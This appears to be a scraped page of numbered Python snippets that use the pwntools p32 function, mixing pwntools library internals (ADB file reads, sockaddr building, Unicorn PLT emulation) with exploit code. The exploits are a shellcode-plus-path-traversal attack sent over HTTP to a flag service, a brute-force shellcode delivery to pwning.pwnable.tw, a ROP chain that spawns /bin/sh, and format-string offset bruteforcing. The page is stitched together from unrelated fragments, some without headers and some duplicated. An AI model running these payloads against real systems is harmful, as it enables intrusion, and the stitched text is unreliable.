Beispiel #1
0
def pad_addr(address, bits, endian='little'):
    """
    Pads the given address (int) to the given number of bits, returning a bytes object representation of the address
    with the given endianness
    """
    if bits == 32:
        return p32(address, endian=endian)
    elif bits == 64:
        botAddr = address & 0xFFFFFFFF
        topAddr = (address >> 32) & 0xFFFFFFFF
        return p32(topAddr, endian=endian) + p32(botAddr, endian=endian)
    else:
        print("[-] Unknown architecture:", bits)
        exit(1)
Beispiel #2
0
def try_attack(n):
    stack = int("ff*+-000" \
        .replace("*", al[R(0, len(al) - 1)]) \
        .replace("+", al[R(0, len(al) - 1)]) \
        .replace("-", al[R(0, len(al) - 1)]), 16)

    payload = b"A" * 16
    payload += p32(stack)
    payload += nop_slide(shellcode)

    data  = b""
    data += f"POST /static/{due('../../../proc/self/fd/0')} HTTP/1.1\r\n".encode()
    data += f"Host: {ip}:31337\r\n".encode()
    data += (b"Kekmeister: " + b"\x90" * 200 + b"\r\n") * 100
    data += f"Content-Length: {len(payload)}\r\n\r\n".encode()
    data += payload

    s = socket.socket()
    s.connect((ip, 31337))
    s.sendall(data)

    time.sleep(5)
    r = s.recv(30000)
    s.close()

    flags = re.findall(flag_re, r)

    if len(flags) > 0:
        print(flags)
    else:
        print(f'Attack {n}')
Beispiel #3
0
    def read(self, path, filesize=0, callback=lambda *a: True):
        """Execute the ``READ`` command of the ``SYNC`` API.

        Arguments:
            path(str): Path to the file to read
            filesize(int): Size of the file, in bytes.  Optional.
            callback(callable): Callback function invoked as data
                becomes available.  Arguments provided are:

                - File path
                - All data
                - Expected size of all data
                - Current chunk
                - Expected size of chunk

        Return:
            The data received as a string.
        """
        if isinstance(path, six.text_type):
            path = path.encode('utf-8')
        self.c.send(b'RECV' + p32(len(path)) + path)

        # Accumulate all data here
        all_data = b''

        while True:
            magic = self.c.recvn(4)

            # adbd says there is no more data to send
            if magic == b'DONE':
                break

            if magic == FAIL:
                self.error('Could not read file %r: Got FAIL.' % path)

            # did we expect to be done?
            if magic != b'DATA':
                self.error('Error after file read: %r (expected DATA)' % magic)

            # receive all of the data in the chunk
            chunk_size = self.c.u32()
            chunk_data  = b''
            while len(chunk_data) != chunk_size:
                chunk_data += self.c.recv(chunk_size - len(chunk_data))

                if callback:
                    callback(path,
                             all_data,
                             filesize,
                             chunk_data,
                             chunk_size)

            # add the chunk onto what we have
            all_data += chunk_data

        zero = self.c.u32()
        if zero != 0:
            self.error('Error after file read: %r (expected ZERO)' % zero)

        return all_data
Beispiel #4
0
def main():
    # payload = ""
    padChar2 = b"\x90"
    padSize = 32
    # Initial payload

    hello = "\nHello, world!\n\n"  # We are using putchar function from libc
    # as example to chain multiple function calls/gadgets
    # For each character in our phrase, there is putchar call
    payload = padChar2 * padSize
    for char in hello:  # Generate payload for printing 'Hello, world!'
        # payload += p32(libc_entry + offset_putchar)  # function p32 changes

        payload += p32(libc_entry + offset_putchar)
        # memoryaddress to correct format (reversed and opcoded)

        # whattodo after = pop/ret gadget
        payload += p32(libc_entry + offset_pr)

        # pwntools function pack, is packing our input to 32-bit memory
        # address with correct syntax. Ord is changing character to ASCII code
        payload += pack(
            ord(char),
            32,
            'little',  # function arguments
            False).replace(b"\x00", b"\xff")
        # Replacing nulls with '\xff', which are generated in by packing to
        #  fullfil 32-bit size

    payload += p32(libc_entry + offset_pr)
    payload += p32(0xffffffff)  # Some address, we do not care, we are exiting
    # so value does not matter.
    payload += p32(libc_entry + offset_exit)

    # Writing payload to txt file just in case,
    # if we want to run program without script
    f = open("payload.txt", "w+")
    f.write(str(payload))
    f.close

    # C program is using payload as args
    try:
        p = process(["../vuln_progs/Overflow", payload])
        log.info(p.recvall(timeout=0.5))
    except PwnlibException:
        print("Nulls in arguments.")
Beispiel #5
0
    def read(self, path, filesize=0, callback=lambda *a: True):
        """Execute the ``READ`` command of the ``SYNC`` API.

        Arguments:
            path(str): Path to the file to read
            filesize(int): Size of the file, in bytes.  Optional.
            callback(callable): Callback function invoked as data
                becomes available.  Arguments provided are:

                - File path
                - All data
                - Expected size of all data
                - Current chunk
                - Expected size of chunk

        Return:
            The data received as a string.
        """
        self.c.send('RECV' + p32(len(path)) + path)

        # Accumulate all data here
        all_data = ''

        while True:
            magic = self.c.recvn(4)

            # adbd says there is no more data to send
            if magic == 'DONE':
                break

            if magic == 'FAIL':
                self.error('Could not read file %r: Got FAIL.' % path)

            # did we expect to be done?
            if magic != 'DATA':
                self.error('Error after file read: %r (expected DATA)' % magic)

            # receive all of the data in the chunk
            chunk_size = self.c.u32()
            chunk_data  = ''
            while len(chunk_data) != chunk_size:
                chunk_data += self.c.recv(chunk_size - len(chunk_data))

                if callback:
                    callback(path,
                             all_data,
                             filesize,
                             chunk_data,
                             chunk_size)

            # add the chunk onto what we have
            all_data += chunk_data

        zero = self.c.u32()
        if zero != 0:
            self.error('Error after file read: %r (expected ZERO)' % zero)

        return all_data
Beispiel #6
0
def main():
    # payload = ""
    padChar2 = "\x90"
    padSize = 32
    # Initial payload

    hello = "\nHello, world!\n\n"  # We are using putchar function from libc
    # as example to chain multiple function calls/gadgets
    # For each character in our phrase, there is putchar call
    payload = padChar2 * padSize
    for char in hello:  # Generate payload for printing 'Hello, world!'
        # payload += p32(libc_entry + offset_putchar)  # function p32 changes
        payload += p32(libc_entry + offset_putchar)
        # memoryaddress to correct format (reversed and opcoded)

        # whattodo after = pop/ret gadget
        payload += p32(libc_entry + offset_pr)

        # pwntools function pack, is packing our input to 32-bit memory
        # address with correct syntax. Ord is changing character to ASCII code
        payload += pack(ord(char), 32, 'little',  # function arguments
                        False).replace("\x00", "\xff")
        # Replacing nulls with '\xff', which are generated in by packing to
        #  fullfil 32-bit size

    payload += p32(libc_entry + offset_pr)
    payload += p32(0xffffffff)  # Some address, we do not care, we are exiting
    # so value does not matter.
    payload += p32(libc_entry + offset_exit)

    # Writing payload to txt file just in case,
    # if we want to run program without script
    f = open("payload.txt", "w+")
    f.write(payload)
    f.close

    # C program is using payload as args
    try:
        p = process(["../vuln_progs/Overflow", payload])
        log.info(p.recvall(timeout=0.5))
    except PwnlibException:
        print("Nulls in arguments.")
Beispiel #7
0
def buffer(sendprintf: Callable[[bytes],bytes], maxlen=20) -> int:
    '''Bruteforcer to locate the offset of the input string itself.
    i.e. if buffer() returns 6,
        printf("%6$d") gives the value of p32("%6$p")

    Arguments:
        `sendprintf`: a function that simulates a single printf() call.
            This is much like the function passable to pwntools' FmtStr().
            e.g.
                def printf(l: bytes):
                    r = process('./mybinary')
                    r.send(l)
                    return r.recvline()
                buffer = fsb.find_offset.buffer(printf)
        `maxlen`: the maximum length of the input. If no value
            is given, the program assumes maxlen=20.

        Larger values of `maxlen` will allow for faster offset guessing.
    '''
    # Note: if config.PRINTF_MAX becomes really large, this might break
    guess_n = (maxlen-len("0x%10$x\n")) // context.bytes
    # So long as more than 1 guess can be done at a time:
    if guess_n > 1:
        '''Let's say guess_n=3 words worth of cyclic() can be inputted.
        If config.PRINTF_MIN=5, then the first payload ought to be
            cyclic(3*context.bytes) + "0x%{}$x\n".format(5+(3-1))
        because the first guess should be able to catch any offset in the range
            range(config.PRINTF_MIN, config.PRINTF_MIN+guess_n)
        '''
        for offset in range(config.PRINTF_MIN+guess_n-1, config.PRINTF_MAX+guess_n-1, guess_n):
            payload = cyclic(guess_n*context.bytes) + "0x%{}$x\n".format(offset).encode()
            extract = sendprintf(payload)
            if b"(nil)" in extract: extract = 0
            else: extract = unpack_hex(extract)    # Error will be -1
            if extract != -1 and 0 <= (found := cyclic_find(p32(extract))) < len(payload):
                assert found%context.bytes == 0 # if not, the offset is non-aligned
                log.info('%s for buffer: %d' % (__name__, offset-found//context.bytes))
                return offset-found//context.bytes
        raise RuntimeError  # Give up
Beispiel #8
0
def sockaddr(host, port, network='ipv4'):
    """sockaddr(host, port, network = 'ipv4') -> (data, length, family)

    Creates a sockaddr_in or sockaddr_in6 memory buffer for use in shellcode.

    Arguments:
      host (str): Either an IP address or a hostname to be looked up.
      port (int): TCP/UDP port.
      network (str): Either 'ipv4' or 'ipv6'.

    Returns:
      A tuple containing the sockaddr buffer, length, and the address family.
    """
    address_family = {'ipv4': socket.AF_INET, 'ipv6': socket.AF_INET6}[network]

    for family, _, _, _, ip in socket.getaddrinfo(host, None, address_family):
        ip = ip[0]
        if family == address_family:
            break
    else:
        log.error("Could not find %s address for %r" % (network, host))

    info = socket.getaddrinfo(host, None, address_family)
    host = socket.inet_pton(address_family, ip)
    sockaddr = p16(address_family)
    sockaddr += pack(
        port, word_size=16,
        endianness='big')  #Port should be big endian = network byte order
    length = 0

    if network == 'ipv4':
        sockaddr += host
        length = 16  # Save ten bytes by skipping two 'push 0'
    else:
        sockaddr += p32(0xffffffff)  # Save three bytes 'push -1' vs 'push 0'
        sockaddr += host
        length = len(sockaddr) + 4  # Save five bytes 'push 0'
    return (sockaddr, length, getattr(address_family, "name", address_family))
Beispiel #9
0
 def p32(self, *a, **kw):
     return self.send(packing.p32(*a, **kw))
Beispiel #10
0
 def p32(self,  address, data, *a, **kw):    return self.write(address, packing.p32(data, *a, **kw))
 def p16(self,  address, data, *a, **kw):    return self.write(address, packing.p16(data, *a, **kw))
from pwnlib.tubes.remote import remote
from pwnlib.util.packing import p32
from time import sleep

random_addr = 0xff89e360
no_whitespace_shellcode = '\x31\xc0\xb0\x30\x01\xc4\x30\xc0\x50\x68\x2f\x2f\x73\x68' \
                          '\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\xb0\xb0\xc0\xe8\x04' \
                          '\xcd\x80\xc0\xe8\x03\xcd\x80'

for i in range(10000):
    print i
    try:
        r = remote('pwning.pwnable.tw', 48879)
        print r.recvuntil(':')
        r.sendline('A'*92 + p32(random_addr) + '\x90'*2048 + no_whitespace_shellcode)
        print r.recvuntil('!!\n')
        sleep(0.3)
        r.sendline('cat /home/bofsofun/flag')
        sleep(0.3)
        print r.recv()
    except:
        pass
    r.shutdown()
def arg_reg4(num):
    return '\x20' + p32(num)
Beispiel #13
0
 def p32(self,  address, data, *a, **kw):
     """Writes a 32-bit integer ``data`` to the specified ``address``"""
     return self.write(address, packing.p32(data, *a, **kw))
Beispiel #14
0
def prepare_unicorn_and_context(elf, got, address, data):
    import unicorn as U

    # Instantiate the emulator with the correct arguments for the current
    # architecutre.
    arch = {
        'aarch64': U.UC_ARCH_ARM64,
        'amd64': U.UC_ARCH_X86,
        'arm': U.UC_ARCH_ARM,
        'i386': U.UC_ARCH_X86,
        'mips': U.UC_ARCH_MIPS,
        # 'powerpc': U.UC_ARCH_PPC, <-- Not actually supported
        'thumb': U.UC_ARCH_ARM,
    }.get(elf.arch, None)

    if arch is None:
        log.warn("Could not emulate PLT instructions for %r" % elf)
        return {}

    emulation_bits = elf.bits

    # x32 uses 64-bit instructions, just restricts itself to a 32-bit
    # address space.
    if elf.arch == 'amd64' and elf.bits == 32:
        emulation_bits = 64

    mode = {32: U.UC_MODE_32, 64: U.UC_MODE_64}.get(emulation_bits)

    if elf.arch in ('arm', 'aarch64'):
        mode = U.UC_MODE_ARM

    uc = U.Uc(arch, mode)

    # Map the page of memory, and fill it with the contents
    start = address & (~0xfff)
    stop = (address + len(data) + 0xfff) & (~0xfff)

    if not (0 <= start <= stop <= (1 << elf.bits)):
        return None

    uc.mem_map(start, stop - start)
    uc.mem_write(address, data)
    assert uc.mem_read(address, len(data)) == data

    # MIPS is unique in that it relies entirely on _DYNAMIC, at the beginning
    # of the GOT.  Each PLT stub loads an address stored here.
    # Because of this, we have to support loading memory from this location.
    #
    # https://www.cr0.org/paper/mips.elf.external.resolution.txt
    magic_addr = 0x7c7c7c7c

    if elf.arch == 'mips':
        # Map the GOT so that MIPS can access it
        p_magic = packing.p32(magic_addr)
        start = got & (~0xfff)
        try:
            uc.mem_map(start, 0x1000)
        except Exception:
            # Ignore double-mapping
            pass

        uc.mem_write(got, p_magic)

        # Separately, Unicorn is apparently unable to hook unmapped memory
        # accesses on MIPS.  So we also have to map the page that contains
        # the magic address.
        start = magic_addr & (~0xfff)
        try:
            uc.mem_map(start, 0x1000)
        except Exception:
            # Ignore double-mapping
            pass
        trap = packing.p32(0x34000000, endian=elf.endian)
        uc.mem_write(magic_addr, trap)

    return uc, uc.context_save()
def arg_imm4(value):
    return '\x21' + p32(value)
Beispiel #16
0
def emulate_plt_instructions_inner(elf, got, pc, data, targets):
    # Deferred import to not affect load time
    import unicorn as U

    # Instantiate the emulator with the correct arguments for the current
    # architecutre.
    arch = {
        'aarch64': U.UC_ARCH_ARM64,
        'amd64': U.UC_ARCH_X86,
        'arm': U.UC_ARCH_ARM,
        'i386': U.UC_ARCH_X86,
        'mips': U.UC_ARCH_MIPS,
        # 'powerpc': U.UC_ARCH_PPC, <-- Not actually supported
        'thumb': U.UC_ARCH_ARM,
    }.get(elf.arch, None)

    if arch is None:
        log.warn("Could not emulate PLT instructions for %r" % elf)
        return {}

    emulation_bits = elf.bits

    # x32 uses 64-bit instructions, just restricts itself to a 32-bit
    # address space.
    if elf.arch == 'amd64' and elf.bits == 32:
        emulation_bits = 64

    mode = {32: U.UC_MODE_32, 64: U.UC_MODE_64}.get(emulation_bits)

    if elf.arch in ('arm', 'aarch64'):
        mode = U.UC_MODE_ARM

    uc = U.Uc(arch, mode)

    # Map the page of memory, and fill it with the contents
    start = pc & (~0xfff)
    stop = (pc + len(data) + 0xfff) & (~0xfff)

    if not (0 <= start <= stop <= (1 << elf.bits)):
        return None

    uc.mem_map(start, stop - start)
    uc.mem_write(pc, data)
    assert uc.mem_read(pc, len(data)) == data

    # MIPS is unique in that it relies entirely on _DYNAMIC, at the beginning
    # of the GOT.  Each PLT stub loads an address stored here.
    # Because of this, we have to support loading memory from this location.
    #
    # https://www.cr0.org/paper/mips.elf.external.resolution.txt
    magic_addr = 0xdbdbdbdb

    if elf.arch == 'mips':
        # Map the GOT so that MIPS can access it
        p_magic = packing.p32(magic_addr)
        start = got & (~0xfff)
        try:
            uc.mem_map(start, start + 0x1000)
        except Exception:
            # Ignore double-mapping
            pass

        uc.mem_write(got, p_magic)

        # Separately, Unicorn is apparently unable to hook unmapped memory
        # accesses on MIPS.  So we also have to map the page that contains
        # the magic address.
        start = magic_addr & (~0xfff)
        try:
            uc.mem_map(start, start + 0x1000)
        except Exception:
            # Ignore double-mapping
            pass
        trap = packing.p32(0x34000000, endian=elf.endian)
        uc.mem_write(magic_addr, trap)

    # Hook invalid addresses and any accesses out of the specified address range
    stopped_addr = []

    def hook_mem(uc, access, address, size, value, user_data):
        # Special case to allow MIPS to dereference the _DYNAMIC pointer
        # in the GOT.
        if elf.arch == 'mips' and address == got:
            return True

        user_data.append(address)
        uc.emu_stop()
        return False

    uc.hook_add(U.UC_HOOK_MEM_READ, hook_mem, stopped_addr)
    uc.hook_add(U.UC_HOOK_MEM_UNMAPPED, hook_mem, stopped_addr)

    # callback for tracing instructions
    # def hook_code(uc, address, size, user_data):
    #     print(">>> Tracing instruction at 0x%x, instruction size = 0x%x, data=%r" %(address, size, uc.mem_read(address, size)))
    # uc.hook_add(U.UC_HOOK_CODE, hook_code)

    # For Intel, set the value of EBX
    if elf.arch == 'i386':
        uc.reg_write(U.x86_const.UC_X86_REG_EBX, got)

    # Special case for MIPS, which is the most silly architecture
    # https://sourceware.org/ml/binutils/2004-11/msg00116.html
    if elf.arch == 'mips' and elf.bits == 32:
        OFFSET_GP_GOT = 0x7ff0
        uc.reg_write(U.mips_const.UC_MIPS_REG_GP, got + 0x7ff0)

    try:
        uc.emu_start(pc, until=-1, count=5)
    except U.UcError as error:
        UC_ERR = (k for k,v in \
                    U.unicorn_const.__dict__.items()
                    if error.errno == v and k.startswith('UC_ERR_')).next()
        log.debug("%#x: %s (%s)", pc, error, UC_ERR)

    if elf.arch == 'mips':
        pc = uc.reg_read(U.mips_const.UC_MIPS_REG_PC)
        if pc + 1 == magic_addr:
            t8 = uc.reg_read(U.mips_const.UC_MIPS_REG_T8)
            stopped_addr.append(elf._mips_got.get(t8, 0))

    retval = 0
    if stopped_addr:
        retval = stopped_addr.pop()

    return retval
def arg_mem4(num):
    return '\x22' + p32(num)
# Option 1: Put a item to the box
def put(item):
    print r.recvuntil(':')
    r.send('1\n')
    print r.recvuntil(':')
    r.send(item)


r = remote('pwning.pwnable.tw', 56746)

# Padding
for i in range(10):
    put('A'*15 + '\n')

# ROP chain
put('A'*12 + p32(read_addr))
put(p32(pop_edx_ecx_ebx) + p32(0) + p32(free_buf) + p32(8))
put(p32(pop_edx_ecx_ebx) + p32(0) + p32(0) + p32(free_buf))
put(p32(pop_eax) + p32(0xb) + p32(int_0x80) + p32(0))

# Option 4: give up the box
print r.recvuntil(':')
r.send('4\n')
print r.recvline()

# Read to the free buffer
r.send('/bin/sh\x00')

sleep(1)
r.interactive()
Beispiel #19
0
def emulate_plt_instructions_inner(elf, got, pc, data, targets):
    # Deferred import to not affect load time
    import unicorn as U

    # Instantiate the emulator with the correct arguments for the current
    # architecutre.
    arch = {
        'aarch64': U.UC_ARCH_ARM64,
        'amd64': U.UC_ARCH_X86,
        'arm': U.UC_ARCH_ARM,
        'i386': U.UC_ARCH_X86,
        'mips': U.UC_ARCH_MIPS,
        # 'powerpc': U.UC_ARCH_PPC, <-- Not actually supported
        'thumb': U.UC_ARCH_ARM,
    }.get(elf.arch, None)

    if arch is None:
        log.warn("Could not emulate PLT instructions for %r" % elf)
        return {}

    emulation_bits = elf.bits

    # x32 uses 64-bit instructions, just restricts itself to a 32-bit
    # address space.
    if elf.arch == 'amd64' and elf.bits == 32:
        emulation_bits = 64

    mode = {
        32: U.UC_MODE_32,
        64: U.UC_MODE_64
    }.get(emulation_bits)

    if elf.arch in ('arm', 'aarch64'):
        mode = U.UC_MODE_ARM

    uc = U.Uc(arch, mode)

    # Map the page of memory, and fill it with the contents
    start = pc & (~0xfff)
    stop  = (pc + len(data) + 0xfff) & (~0xfff)

    if not (0 <= start <= stop <= (1 << elf.bits)):
        return None

    uc.mem_map(start, stop-start)
    uc.mem_write(pc, data)
    assert uc.mem_read(pc, len(data)) == data

    # MIPS is unique in that it relies entirely on _DYNAMIC, at the beginning
    # of the GOT.  Each PLT stub loads an address stored here.
    # Because of this, we have to support loading memory from this location.
    #
    # https://www.cr0.org/paper/mips.elf.external.resolution.txt
    magic_addr = 0xdbdbdbdb

    if elf.arch == 'mips':
        # Map the GOT so that MIPS can access it
        p_magic = packing.p32(magic_addr)
        start = got & (~0xfff)
        try:
            uc.mem_map(start, start+0x1000)
        except Exception:
            # Ignore double-mapping
            pass

        uc.mem_write(got, p_magic)

        # Separately, Unicorn is apparently unable to hook unmapped memory
        # accesses on MIPS.  So we also have to map the page that contains
        # the magic address.
        start = magic_addr & (~0xfff)
        try:
            uc.mem_map(start, start+0x1000)
        except Exception:
            # Ignore double-mapping
            pass
        trap = packing.p32(0x34000000, endian=elf.endian)
        uc.mem_write(magic_addr, trap)

    # Hook invalid addresses and any accesses out of the specified address range
    stopped_addr = []

    def hook_mem(uc, access, address, size, value, user_data):
        # Special case to allow MIPS to dereference the _DYNAMIC pointer
        # in the GOT.
        if elf.arch == 'mips' and address == got:
            return True

        user_data.append(address)
        uc.emu_stop()
        return False

    uc.hook_add(U.UC_HOOK_MEM_READ, hook_mem, stopped_addr)
    uc.hook_add(U.UC_HOOK_MEM_UNMAPPED, hook_mem, stopped_addr)

    # callback for tracing instructions
    # def hook_code(uc, address, size, user_data):
    #     print(">>> Tracing instruction at 0x%x, instruction size = 0x%x, data=%r" %(address, size, uc.mem_read(address, size)))
    # uc.hook_add(U.UC_HOOK_CODE, hook_code)

    # For Intel, set the value of EBX
    if elf.arch == 'i386':
        uc.reg_write(U.x86_const.UC_X86_REG_EBX, got)

    # Special case for MIPS, which is the most silly architecture
    # https://sourceware.org/ml/binutils/2004-11/msg00116.html
    if elf.arch == 'mips' and elf.bits == 32:
        OFFSET_GP_GOT = 0x7ff0
        uc.reg_write(U.mips_const.UC_MIPS_REG_GP, got + 0x7ff0)

    try:
        uc.emu_start(pc, until=-1, count=5)
    except U.UcError as error:
        UC_ERR = (k for k,v in \
                    U.unicorn_const.__dict__.items()
                    if error.errno == v and k.startswith('UC_ERR_')).next()
        log.debug("%#x: %s (%s)", pc, error, UC_ERR)

    if elf.arch == 'mips':
        pc = uc.reg_read(U.mips_const.UC_MIPS_REG_PC)
        if pc+1 == magic_addr:
            t8 = uc.reg_read(U.mips_const.UC_MIPS_REG_T8)
            stopped_addr.append(elf._mips_got.get(t8, 0))

    retval = 0
    if stopped_addr:
        retval = stopped_addr.pop()

    return retval
def send(data):
    s.send(p32(len(data)) + data)